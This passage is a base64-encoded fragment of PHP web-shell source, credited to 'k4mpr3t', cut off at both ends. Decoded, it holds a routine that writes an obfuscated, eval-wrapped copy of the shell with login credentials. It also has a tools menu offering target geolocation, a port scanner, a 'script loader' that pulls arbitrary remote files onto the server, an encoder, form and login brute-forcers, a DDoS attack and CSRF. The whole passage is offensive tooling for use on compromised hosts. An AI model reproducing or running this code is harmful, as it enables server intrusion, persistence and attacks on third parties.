FiIiknLA0KCQkJCSciYiIuImFzIi4iZTYiLiI0XyIuImQiLiJlYyIuIm8iLiJkZSInLA0KCQkJCSciYmEiLiJzZSIuIjYiLiI0X2QiLiJlIi4iY29kIi4iZSInIA0KCQkJKTsNCgkJCSRyYW5kX2I2ND1hcnJheV9yYW5kKCRiNjQpOw0KCQkJJHJhbmQzPSRiNjRbJHJhbmRfYjY0XTsNCgkJCSR2YXIxPSRyYW5kLic9IicuJF9TRVNTSU9OWyJhY3Rpb24iXVsidXNlcm5hbWUiXS4nOicuJF9TRVNTSU9OWyJhY3Rpb24iXVsicGFzc3dvcmQiXS4nIjsnOw0KCQkJJHZhcjI9JHJhbmQyLic9Jy4kcmFuZDMuJzsnOw0KCQkJJHZhcj1hcnJheSgNCgkJCQkkdmFyMS4kdmFyMiwNCgkJCQkkdmFyMi4kdmFyMQ0KCQkJKTsNCgkJCSRyYW5kX3Zhcj1hcnJheV9yYW5kKCR2YXIpOw0KCQkJJHJhbmQ0PSR2YXJbJHJhbmRfdmFyXTsNCgkJCSRzZWxmPXByZWdfcmVwbGFjZSgiL1xcXCRjLyIsJHJhbmQsJHRlbXApOyAvLyBDaGFuZ2UgVmFyaWFibGUgJGMgdG8gUmFuZG9tIA0KCQkJJHNyY189Jyc7DQoJCQkkc3JjXy49Jzw/cGhwICc7DQoJCQkkc3JjXy49JHJhbmQ0Ow0KCQkJJHNyY18uPSdAZXZhbCgnLiRyYW5kMi4nKCInOw0KCQkJJHNyY18uPSRiNjRlKGh0bWxzcGVjaWFsY2hhcnNfZGVjb2RlKCRzZWxmKSk7DQoJCQkkc3JjXy49JyIpKSc7DQoJCQkkc3JjXy49Jz8+JzsNCgkJCSRuYW1lPSFlbXB0eSgkX1JFUVVFU1RbJ25hbWUnXSk/JF9SRVFVRVNUWyduYW1lJ106J2JhdF9lbmNyeXB0LnBocCc7DQoJCQkkZmlsZT1kaXJuYW1lKF9fRklMRV9fKS5fLiRuYW1lOw0KCQkJJG9wPWZvcGVuKCRmaWxlLCd3KycpOw0KCQkJZndyaXRlKCRvcCwkc3JjXyk7DQoJCQlmY2xvc2UoJG9wKTsNCgkJCXByaW50ZigiPGNlbnRlciBjbGFzcz0nb24nPlNFTEYgRU5DUllQVCBDUkVBVEVEICEhITwvY2VudGVyPg0KCQkJCQk8Y2VudGVyIGNsYXNzPSdvbic+DQoJCQkJCQlMaW5rIC0+IDxhIGhyZWY9JyVzJyB0YXJnZXQ9J19ibGFuayc+PHU+JXM8L3U+PC9hPg0KCQkJCQk8L2NlbnRlcj4iLEdldFVybEZyb21QYXRoKCRmaWxlKSwkbmFtZSk7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlwcmludCAiPGNlbnRlciBjbGFzcz0nb2ZmJz5TRUxGIEVOQ1JZUFQgRU5BQkxFICEhITwvY2VudGVyPiI7DQoJCX0NCgl9DQp9DQoNCi8qIFNUQVJUIENVU1RPTSBUT09MWiAqLw0KaWYoYW55KCJ6IiwkX1JFUVVFU1QpKQ0Kew0KCSR6PSRfUkVRVUVTVFsneiddOw0KDQoJcHJpbnQgTWVudVRvb2xzKGFycmF5KA0KCSJ0YXJnZXQtbWFwIj0+YXJyYXkoInRpdGxlIj0+IlRhcmdldCBNYXAiLCJ2ZXIiPT4iMi4wIiwiYXV0aCI9PiJrNG1wcjN0IiksDQoJInBvcnQtc2Nhbm5lciI9PmFycmF5KCJ0aXRsZSI9PiJTY2FuIFBvcnQiLCJ2ZXIiPT4iMS4wIiwiYXV0aCI9PiJrNG1wcjN0IiksDQoJInNjcmlwdC1sb2FkZXIiPT5hcnJheSgidGl0bGUiPT4iU2NyaXB0IExvYWRlciIsInZlciI9PiIxLjAiLCJhdXRoIj0+Ims0bXByM3QiKSwNCgkiZW5jcnlwdG9yIj0+YXJyYXkoInRpdGxlIj0+IkVuY3J5cHRvciIsInZlciI9PiIxLjEiLCJhdXRoIj0+Ims0bXByM3QiKSwNCgkiZm9ybS1icnV0ZWZvcmNlcyI9PmFycmF5KCJ0aXRsZSI9PiJGb3JtIEJydXRlZm9yY2VzIiwidmVyIj0+IjEuMCIsImF1dGgiPT4iazRtcHIzdCIpLA0KCSJsb2dpbi1icnV0ZWZvcmNlcyI9PmFycmF5KCJ0aXRsZSI9PiJMb2dpbiBCcnV0ZWZvcmNlcyIsInZlciI9PiIxLjAiLCJhdXRoIj0+Ims0bXByM3QiKSwNCgkibWFzcy10b29scyI9PmFycmF5KCJ0aXRsZSI9PiJNYXNzIFRvb2xzIiwidmVyIj0+IjEuMCIsImF1dGgiPT4iTDBOM1cwUk0iKSwNCgkiZGRvcy1hdHRhY2siPT5hcnJheSgidGl0bGUiPT4iRERPUyBBdHRhY2siLCJ2ZXIiPT4iMi4wIiwiYXV0aCI9PiJrNG1wcjN0IiksDQoJImNzcmYiPT5hcnJheSgidGl0bGUiPT4iQ1NSRiBPbmxpbmUiLCJ2ZXIiPT4iMi4wIiwiYXV0aCI9PiJMME4zVzBSTSIpLA0KCSkpOw0KDQoJcHJpbnQgIjxkaXYgaWQ9J3Rvb2xzJz4iOw0KDQoJaWYoZW1wdHkoJHopKQ0KCXsNCgkJcHJpbnRmKCI8ZGl2IGlkPSd0aGFua3MnPg0KCQkJCQk8aDI+Tm90aGluZyBJcyBTZWN1cmUuLi48L2gyPg0KCQkJCQk8aDM+V0hZIFNPIHNlcmlvdXMgPyE8L2gzPg0KCQkJCTwvZGl2PiIpOw0KCX0NCglpZigkej09InRhcmdldC1tYXAiKQ0KCXsNCgkJcHJpbnQgIjxkaXYgY2xhc3M9J3Rvb2xzLWhlYWRlcic+DQoJCQkJICA8aDM+Ii4kbWVudV90b29sc1skel1bJ3RpdGxlJ10uIiB2Ii4kbWVudV90b29sc1skel1bJ3ZlciddLiI8L2gzPg0KCQkJCSAgPGgzPiBieTogIi4kbWVudV90b29sc1skel1bJ2F1dGgnXS4iPC9oMz4NCgkJCSAgPC9kaXY+IjsNCg0KCQlwcmludGYoIjxkaXYgaWQ9J3RhcmdldC1tYXAnPg0KCQkJPGZvcm0gb25zdWJtaXQ9J3JldHVybiBmYWxzZTsnIGNsYXNzPSduZXcnPg0KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nbWFwLWlwJyB2YWx1ZT0nJXMnLz4NCgkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVHJhY2UnIG9uY2xpY2s9XCJyZXR1cm4gZ2V0QWpheCh0cnVlLCd0YXJnZXQtaW5mbycsJ1BPU1QnLCc/ej10YXJnZXQtbWFwJmlwPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ21hcC1pcCcpLnZhbHVlKTtcIi8+PGJyPg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4NCgkJPGRpdiBpZD0ndGFyZ2V0LWluZm8nIGNsYXNzPSdyZXN1bHQnPjwvZGl2PiIsZ2V0aG9zdGJ5bmFtZShodHRwX2hvc3QpKTsNCg0KCQlpZihhbnkoImlwIiwkX1JFUVVFU1QpKQ0KCQl7DQoJCQlvYl9jbGVhbigpOw0KCQkJJGlwPSFlbXB0eSgkX1JFUVVFU1RbJ2lwJ10pID8gJF9SRVFVRVNUWydpcCddIDogZ2V0aG9zdGJ5bmFtZShodHRwX2hvc3QpOw0KCQkJJHZhbGlkPWZpbHRlcl92YXIoJGlwLEZJTFRFUl9WQUxJREFURV9JUCkgb3IgZGllKCdJbnZhbGlkIElQIEFkZHJlc3MnKTsNCgkJCWlmKCRfUkVRVUVTVFsnaXAnXT09Z2V0aG9zdGJ5bmFtZShodHRwX2hvc3QpKSANCgkJCXsNCgkJCQkkdXJsPUI2NEQoInpTSTl4V2xlTzdvZE9EVWR6SDRxeTc5ZXptTWV5cjE9Iik7DQoJCQkJJGdlb2lwPUdldFVybENvbnRlbnQoJHVybCk7DQoJCQkJJGpzb249anNvbl9kZWNvZGUoJGdlb2lwLHRydWUpOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCSR1cmw9c3ByaW50ZihCNjREKCJ6U0k5eFdsZU83b2RPRFVkekg0cXk3OWV6bU1leXIxPSIpLiIlcyIsJGlwKTsNCgkJCQkkZ2VvaXA9R2V0VXJsQ29udGVudCgkdXJsKTsNCgkJCQkkanNvbj1qc29uX2RlY29kZSgkZ2VvaXAsdHJ1ZSk7DQoJCQl9DQoJCQkkdXJsPXNwcmludGYoQjY0RCgielNJOXhTTjNPYjBnQkNZYU9ud2V5N3doQUg0a3dYMGdCQ1lhIikuIj9xPSVzLCVzJno9MTAmb3V0cHV0PWVtYmVkIiwkanNvblsnbGF0J10sJGpzb25bJ2xvbiddKTsNCgkJCXByaW50ZigiPGRpdiBjbGFzcz0nZGl2aWRlJz4NCgkJCQkJCTxkaXYgY2xhc3M9J2RpdmlkZS1sZWZ0Jz4NCgkJCQkJCQk8dGFibGUgY2xhc3M9J3RhYmxlJz4NCgkJCQkJCQkJPHRyPjx0ZD5BUzwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJCQk8dHI+PHRkPkNpdHk8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCQkJPHRyPjx0ZD5Db3VudHJ5PC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQkJCTx0cj48dGQ+Q291bnRyeSBDb2RlPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQkJCTx0cj48dGQ+SVNQPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQkJCTx0cj48dGQ+TGF0aXR1ZGU8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCQkJPHRyPjx0ZD5Mb2dpdHVkZTwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJCTwvdGFibGU+DQoJCQkJCQk8L2Rpdj4NCgkJCQkJCTxkaXYgY2xhc3M9J2RpdmlkZS1sZWZ0Jz4NCgkJCQkJCQk8dGFibGUgY2xhc3M9J3RhYmxlJz4NCgkJCQkJCQkJPHRyPjx0ZD5PcmlnaW48L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCQkJPHRyPjx0ZD5JUDwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJCQk8dHI+PHRkPlJlZ2lvbjwvdGQ+PHRkPiVzPC90ZD48L3RyPg0KCQkJCQkJCQk8dHI+PHRkPlJlZ2lvbiBOYW1lPC90ZD48dGQ+JXM8L3RkPjwvdHI+DQoJCQkJCQkJCTx0cj48dGQ+VGltZXpvbmU8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCQkJPHRyPjx0ZD5aaXA8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCQkJPHRyPjx0ZD5TdGF0dXM8L3RkPjx0ZD4lczwvdGQ+PC90cj4NCgkJCQkJCQk8L3RhYmxlPg0KCQkJCQkJPC9kaXY+DQoJCQkJCTwvZGl2Pg0KCQkJCQk8aWZyYW1lIHNyYz0nJXMnIHdpZHRoPScxMDAlJScgaGVpZ2h0PSczNDUnIGZyYW1lQm9yZGVyPScwJz48aWZyYW1lPiIsDQoJCQkJCSRqc29uWydhcyddLA0KCQkJCQkkanNvblsnY2l0eSddLA0KCQkJCQkkanNvblsnY291bnRyeSddLA0KCQkJCQkkanNvblsnY291bnRyeUNvZGUnXSwNCgkJCQkJJGpzb25bJ2lzcCddLA0KCQkJCQkkanNvblsnbGF0J10sDQoJCQkJCSRqc29uWydsb24nXSwNCgkJCQkJJGpzb25bJ29yZyddLA0KCQkJCQkkanNvblsncXVlcnknXSwNCgkJCQkJJGpzb25bJ3JlZ2lvbiddLA0KCQkJCQkkanNvblsncmVnaW9uTmFtZSddLA0KCQkJCQkkanNvblsndGltZXpvbmUnXSwNCgkJCQkJJGpzb25bJ3ppcCddLA0KCQkJCQkkanNvblsnc3RhdHVzJ10sDQoJCQkJCSR1cmwpOw0KCQkJZXhpdDsNCgkJfQ0KCX0NCglpZigkej09InBvcnQtc2Nhbm5lciIpDQoJew0KCQlwcmludCAiPGRpdiBjbGFzcz0ndG9vbHMtaGVhZGVyJz4NCgkJCQkgIDxoMz4iLiRtZW51X3Rvb2xzWyR6XVsndGl0bGUnXS4iIHYiLiRtZW51X3Rvb2xzWyR6XVsndmVyJ10uIjwvaDM+DQoJCQkJICA8aDM+IGJ5OiAiLiRtZW51X3Rvb2xzWyR6XVsnYXV0aCddLiI8L2gzPg0KCQkJICA8L2Rpdj4iOw0KDQoJCXByaW50ZigiPGRpdiBpZD0ncG9ydC1zY2FuJz4NCgkJCQkJPGZvcm0gb25zdWJtaXQ9J3JldHVybiBmYWxzZTsnIGNsYXNzPSduZXcnPg0KCQkJCQkJPGxhYmVsPkhvc3QgUG9ydDwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdpcC1wb3J0JyB2YWx1ZT0nJXMnLz48YnI+DQoJCQkJCQk8bGFiZWw+U3RhcnQgUG9ydDwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdzdGFydC1wb3J0JyB2YWx1ZT0nMScvPjxicj4NCgkJCQkJCTxsYWJlbD5FbmQgUG9ydDwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdlbmQtcG9ydCcgdmFsdWU9JzY1NTM1Jy8+PGJyPg0KCQkJCQkJPGxhYmVsPk1ldGhvZGU8L2xhYmVsPjxzZWxlY3QgaWQ9J3NjYW4tcG9ydCc+PG9wdGlvbiB2YWx1ZT0nMSc+c29ja2V0X2Nvbm5lY3Q8L29wdGlvbj48b3B0aW9uIHZhbHVlPScyJz5mc29ja29wZW48L29wdGlvbj48L3NlbGVjdD48YnI+DQoJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBvbmNsaWNrPVwicmV0dXJuIGdldEFqYXgodHJ1ZSwncG9ydC1yZXN1bHQnLCdQT1NUJywnP3o9cG9ydC1zY2FubmVyJng9c2Nhbi1wb3J0JmlwPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lwLXBvcnQnKS52YWx1ZSsnJnNwPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0YXJ0LXBvcnQnKS52YWx1ZSsnJmVwPScrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VuZC1wb3J0JykudmFsdWUrJyZtdGQ9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2Nhbi1wb3J0JykudmFsdWUpO1wiIHZhbHVlPVNjYW4gLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG9uY2xpY2s9XCJyZXR1cm4gYWpheEFib3J0KHRydWUsJ3BvcnQtcmVzdWx0JylcIiB2YWx1ZT1DYW5jZWwgLz4NCgkJCQkJPC9mb3JtPg0KCQkJCTwvZGl2Pg0KCQkJCTxkaXYgaWQ9J3BvcnQtcmVzdWx0JyBjbGFzcz0ncmVzdWx0Jz48L2Rpdj4iLGdldGhvc3RieW5hbWUoaHR0cF9ob3N0KSk7DQoNCgkJaWYoYW55KCJ4IiwkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJ3gnXT09InNjYW4tcG9ydCIpDQoJCXsNCgkJCW9iX2NsZWFuKCk7DQoJCQkkaG9zdD0kX1JFUVVFU1RbJ2lwJ107DQoJCQkkZnJvbT0kX1JFUVVFU1RbJ3NwJ107DQoJCQkkdG8gID0kX1JFUVVFU1RbJ2VwJ107DQoJCQkkbXRkID0kX1JFUVVFU1RbJ210ZCddOw0KCQkJc3dpdGNoKCRtdGQpDQoJCQl7DQoJCQkJY2FzZSAnMSc6DQoJCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnc29ja2V0X2NyZWF0ZScpKQ0KCQkJCQl7DQoJCQkJCQkkc29ja2V0PUBzb2NrZXRfY3JlYXRlKEFGX0lORVQgLFNPQ0tfU1RSRUFNICxTT0xfVENQKTsgDQoJCQkJCQlmb3IoJGNvbm5fcG9ydD0kZnJvbTskY29ubl9wb3J0IDw9JHRvOyRjb25uX3BvcnQrKykNCgkJCQkJCXsNCgkJCQkJCQkkY29ubj1Ac29ja2V0X2Nvbm5lY3QoJHNvY2tldCAsJGhvc3QsJGNvbm5fcG9ydCk7DQoJCQkJCQkJaWYoJGNvbm4pIA0KCQkJCQkJCXsgDQoJCQkJCQkJCXByaW50ICI8YnI+cG9ydCAkY29ubl9wb3J0IG9wZW4iOw0KCQkJCQkJCQlzb2NrZXRfY2xvc2UoJHNvY2tldCk7DQoJCQkJCQkJCSRzb2NrZXQ9QHNvY2tldF9jcmVhdGUoQUZfSU5FVCAsU09DS19TVFJFQU0gLFNPTF9UQ1ApOw0KCQkJCQkJCX0NCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCQllbHNlDQoJCQkJCXsNCgkJCQkJCXByaW50ICJFcnJvciBzb2NrZXRfY29ubmVjdDxicj4iOw0KCQkJCQl9DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAnMic6DQoJCQkJCWZvcigkY29ubl9wb3J0PSRmcm9tOyRjb25uX3BvcnQgPD0kdG87JGNvbm5fcG9ydCsrKQ0KCQkJCQl7DQoJCQkJCQkkY29ubj1AZnNvY2tvcGVuKCRob3N0LCRjb25uX3BvcnQpOw0KCQkJCQkJaWYoJGNvbm4pDQoJCQkJCQl7DQoJCQkJCQkJcHJpbnQgIjxicj5wb3J0ICRjb25uX3BvcnQgb3BlbiI7DQoJCQkJCQkJZmNsb3NlKCRjb25uKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcHJpbnQgIjxicj5TY2FuIEZpbmlzaC4iOw0KCQkJZXhpdDsNCgkJfQ0KCX0NCglpZigkej09InNjcmlwdC1sb2FkZXIiKQ0KCXsNCgkJcHJpbnQgIjxkaXYgY2xhc3M9J3Rvb2xzLWhlYWRlcic+DQoJCQkJICA8aDM+Ii4kbWVudV90b29sc1skel1bJ3RpdGxlJ10uIiB2Ii4kbWVudV90b29sc1skel1bJ3ZlciddLiI8L2gzPg0KCQkJCSAgPGgzPiBieTogIi4kbWVudV90b29sc1skel1bJ2F1dGgnXS4iPC9oMz4NCgkJCSAgPC9kaXY+IjsNCg0KCQkkcGF0aD1kaXJuYW1lKF9fRklMRV9fKS5fLidzY3JpcHQtbG9hZGVyJzsNCgkJaWYoIWlzX2RpcigkcGF0aCkpIG1rZGlyKCRwYXRoLDA3NTUpOw0KDQoJCSRyZWN1cj1uZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigNCgkJICAgIG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkcGF0aCksDQoJCSAgICBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpMRUFWRVNfT05MWSANCgkJKTsNCg0KCQkkcmVzdWx0PSIiOw0KCQlmb3JlYWNoICgkcmVjdXIgYXMgJGtleSA9PiAkdmFsKSANCgkJew0KCQkJaWYoYmFzZW5hbWUoJGtleSkhPSIuLiImJmJhc2VuYW1lKCRrZXkpIT0iLiIpDQoJCQl7DQoJCQkJJHJlc3VsdC49c3ByaW50ZigiPHRyPg0KCQkJCQkJPHRkPjwvdGQ+DQoJCQkJCQk8dGQ+PGEgaHJlZj0nJXMnIHRhcmdldD0nX2JsYW5rJz4lczwvYT48L3RkPg0KCQkJCQkJPHRkPjxjZW50ZXI+JXM8L2NlbnRlcj48L3RkPg0KCQkJCQkJPC90cj4iLA0KCQkJCQkJR2V0VXJsRnJvbVBhdGgocmVhbHBhdGgoJGtleSkpLA0KCQkJCQkJYmFzZW5hbWUocmVhbHBhdGgoJGtleSkpLA0KCQkJCQkJR2V0RmlsZVRpbWUocmVhbHBhdGgoJGtleSksJ21vZGlmeScpDQoJCQkJKTsNCgkJCX0NCgkJfQ0KDQoJCXByaW50ZigiPGRpdiBpZD0nc2NyaXB0LWxvYWRlcic+DQoJCQkJCTxkaXYgY2xhc3M9J2RpdmlkZSc+DQoJCQkJCQk8ZGl2IGNsYXNzPSdkaXZpZGUtbGVmdCc+DQoJCQkJCQkJPGZvcm0gb25zdWJtaXQ9J3JldHVybiBmYWxzZTsnIGNsYXNzPSduZXcnPg0KCQkJCQkJCQk8bGFiZWw+VXJsPC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3VybC1zb3VyY2UnIHZhbHVlPScnLz48YnI+DQoJCQkJCQkJCTxsYWJlbD5GaWxlbmFtZTwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdmaWxlLW5hbWUnIHZhbHVlPScnLz48YnI+DQoJCQkJCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG9uY2xpY2s9XCJyZXR1cm4gZ2V0QWpheCh0cnVlLCdkb3dubG9hZC1yZXN1bHQnLCdQT1NUJywnP3o9c2NyaXB0LWxvYWRlciZ1cmw9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsLXNvdXJjZScpLnZhbHVlKycmZmlsZW5hbWU9Jytkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZmlsZS1uYW1lJykudmFsdWUpO1wiLz48YnI+DQoJCQkJCQkJCTxkaXYgaWQ9J2Rvd25sb2FkLXJlc3VsdCcgY2xhc3M9J3Jlc3VsdCc+PC9kaXY+DQoJCQkJCQkJPC9mb3JtPg0KCQkJCQkJPC9kaXY+DQoJCQkJCQk8ZGl2IGNsYXNzPSdkaXZpZGUtcmlnaHQnPg0KCQkJCQkJCTxmaWVsZHNldD4NCgkJCQkJCQkJPGxlZ2VuZD5MaXN0J3M8L2xlZ2VuZD4NCgkJCQkJCQkJPGRpdiBjbGFzcz0nYXV0by1udW1iZXInPg0KCQkJCQkJCQkJPHRhYmxlIGNsYXNzPSd0YWJsZSc+DQoJCQkJCQkJCQk8dGhlYWQ+PHRyPjx0aD5Oby48L3RoPjx0aD5OYW1lPC90aD48dGg+TW9kaWZpZWQ8L3RoPg0KCQkJCQkJCQkJPHRib2R5PiVzPC90Ym9keT4NCgkJCQkJCQkJCTwvdGFibGU+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCTwvZmllbGRzZXQ+DQoJCQkJCQk8L2Rpdj4NCgkJCQkJPC9kaXY+DQoJCQkJPC9kaXY+IiwkcmVzdWx0KTsNCg0KCQlpZihhbnkoInVybCIsJF9SRVFVRVNUKSYmYW55KCJmaWxlbmFtZSIsJF9SRVFVRVNUKSkNCgkJew0KCQkJb2JfY2xlYW4oKTsNCgkJCSR1cmw9JF9SRVFVRVNUWyd1cmwnXTsNCgkJCSRmaWxlbmFtZT0kX1JFUVVFU1RbJ2ZpbGVuYW1lJ107DQoJCQkkZGVzdD1ydHJpbSgkcGF0aCxfKS5fLiRmaWxlbmFtZTsNCgkJCWlmKEdldFVybEV4aXN0cygkdXJsKSYmIWVtcHR5KCRmaWxlbmFtZSkpDQoJCQl7DQoJCQkJaWYoR2V0RG93bmxvYWRVcmwoJHVybCwkZGVzdCkpDQoJCQkJew0KCQkJCQkkdXJsPUdldFVybEZyb21QYXRoKCRkZXN0KTsNCgkJCQkJcHJpbnRmKCJTdWNjZXNzIC0+IDxhIGhyZWY9JyR1cmwnIHRhcmdldD0nX2JsYW5rJz48dT5MaW5rPC91PjwvYT4iKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHJpbnQgIjxicj5GYWlsZWQiOw0KCQkJCX0NCgkJCQlwcmludCAiPGJyPkZpbmlzaCI7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxicj5NaXN0YWtlcyI7DQoJCQl9DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmKCR6PT0iZW5jcnlwdG9yIikNCgl7DQoJCXByaW50ICI8ZGl2IGNsYXNzPSd0b29scy1oZWFkZXInPg0KCQkJCSAgPGgzPiIuJG1lbnVfdG9vbHNbJHpdWyd0aXRsZSddLiIgdiIuJG1lbnVfdG9vbHNbJHpdWyd2ZXInXS4iPC9oMz4NCgkJCQkgIDxoMz4gYnk6ICIuJG1lbnVfdG9vbHNbJHpdWydhdXRoJ10uIjwvaDM+DQoJCQkgIDwvZGl2PiI7DQoNCgkJcHJpbnRmKCI8ZGl2IGlkPSdzY3JpcHQtbG9hZGVyJz4NCgkJCTxmb3JtIG9uc3VibWl0PSdyZXR1cm4gZmFsc2U7JyBjbGFzcz0nbmV3Jz4NCgkJCQk8ZGl2IGNsYXNzPSdoYXNoLWNvbnRyb2wnPg0KCQkJCQk8ZGl2IGNsYXNzPSdoYXNoJz4NCgkJCQkJCTxpbnB1dCB0eXBlPSdyYWRpbycgbmFtZT0nZW5jcicgdmFsdWU9J2Jhc2ljJyBjaGVja2VkPjxsYWJlbD5CYXNpYzwvbGFiZWw+DQoJCQkJCQk8c2VsZWN0IGlkPSdiYXNpYy1oYXNoJz4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdtZDUnPk1kNTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J2FzYyc+Q2hhcjwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J2Nocic+QXNjaWk8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdzaGExJz5TaGExPC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nY3JjMzInPkNyYzMyPC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nQjY0RSc+QjY0RTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J0I2NEQnPkI2NEQ8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSd1cmxlbmNvZGUnPlVSTCBFbmNvZGU8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSd1cmxkZWNvZGUnPlVSTCBEZWNvZGU8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdzdHJsZW4nPlN0cmluZyBMZW5ndGg8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdzdHJyZXYnPlN0cmluZyBSZXZlcnNlPC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nYmFzZTY0X2VuY29kZSc+QmFzZTY0IEVuY29kZTwvb3B0aW9uPg0KCQkJCQkJCTxvcHRpb24gdmFsdWU9J2Jhc2U2NF9kZWNvZGUnPkJhc2U2NCBEZWNvZGU8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdlbnR0aWVzJz5IdG1sZW50aXRpZXM8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdzcGVjaGFyJz5IdG1sc3BlY2lhbGNoYXJzPC9vcHRpb24+DQoJCQkJCQk8L3NlbGVjdD4NCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9J2hhc2gnPg0KCQkJCQkJPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSdlbmNyJyB2YWx1ZT0nZXh0cmEnPjxsYWJlbD5FeHRyYTwvbGFiZWw+DQoJCQkJCQk8c2VsZWN0IGlkPSdleHRyYS1oYXNoJz4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdhc2MtaGV4Jz5Bc2NpaSA9PiBIZXg8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdhc2MtYmluJz5Bc2NpaSA9PiBCaW5hcnk8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdoZXgtYXNjJz5IZXggPT4gQXNjaWk8L29wdGlvbj4NCgkJCQkJCQk8b3B0aW9uIHZhbHVlPSdoZXgtYmluJz5IZXggPT4gQmluYXJ5PC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nYmluLWFzYyc+QmluYXJ5ID0+IEFzY2lpPC9vcHRpb24+DQoJCQkJCQkJPG9wdGlvbiB2YWx1ZT0nYmluLWhleCc+QmluYXJ5ID0+IEhleDwvb3B0aW9uPg0KCQkJCQkJPC9zZWxlY3Q+DQoJCQkJCTwvZGl2Pg0KCQkJCQk8ZGl2IGNsYXNzPSdoYXNoJz4NCgkJCQkJCTxpbnB1dCB0eXBlPSdyYWRpbycgbmFtZT0nZW5jcicgdmFsdWU9J2NyeXB0Jz48bGFiZWw+Q3J5cHQ8L2xhYmVsPg0KCQkJCQkJPGlucHV0IHR5cGU9J3RleHQnIGlkPSdjcnlwdC1zYWx0JyBuYW1lPSdzYWx0JyBwbGFjZWhvbGRlcj0nXCRhbHQnLz4NCgkJCQkJPC9kaXY+DQoJCQkJCTxkaXYgY2xhc3M9J2hhc2gnPg0KCQkJCQkJPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSdlbmNyJyB2YWx1ZT0naGFzaCc+PGxhYmVsPkhhc2g8L2xhYmVsPg0KCQkJCQkJPHNlbGVjdCBpZD0naGFzaC1oYXNoJz48b3B0aW9uIHZhbHVlPSdtZDInPm1kMjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21kNCc+bWQ0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbWQ1Jz5tZDU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdzaGExJz5zaGExPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nc2hhMjU2Jz5zaGEyNTY8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdzaGEzODQnPnNoYTM4NDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3NoYTUxMic+c2h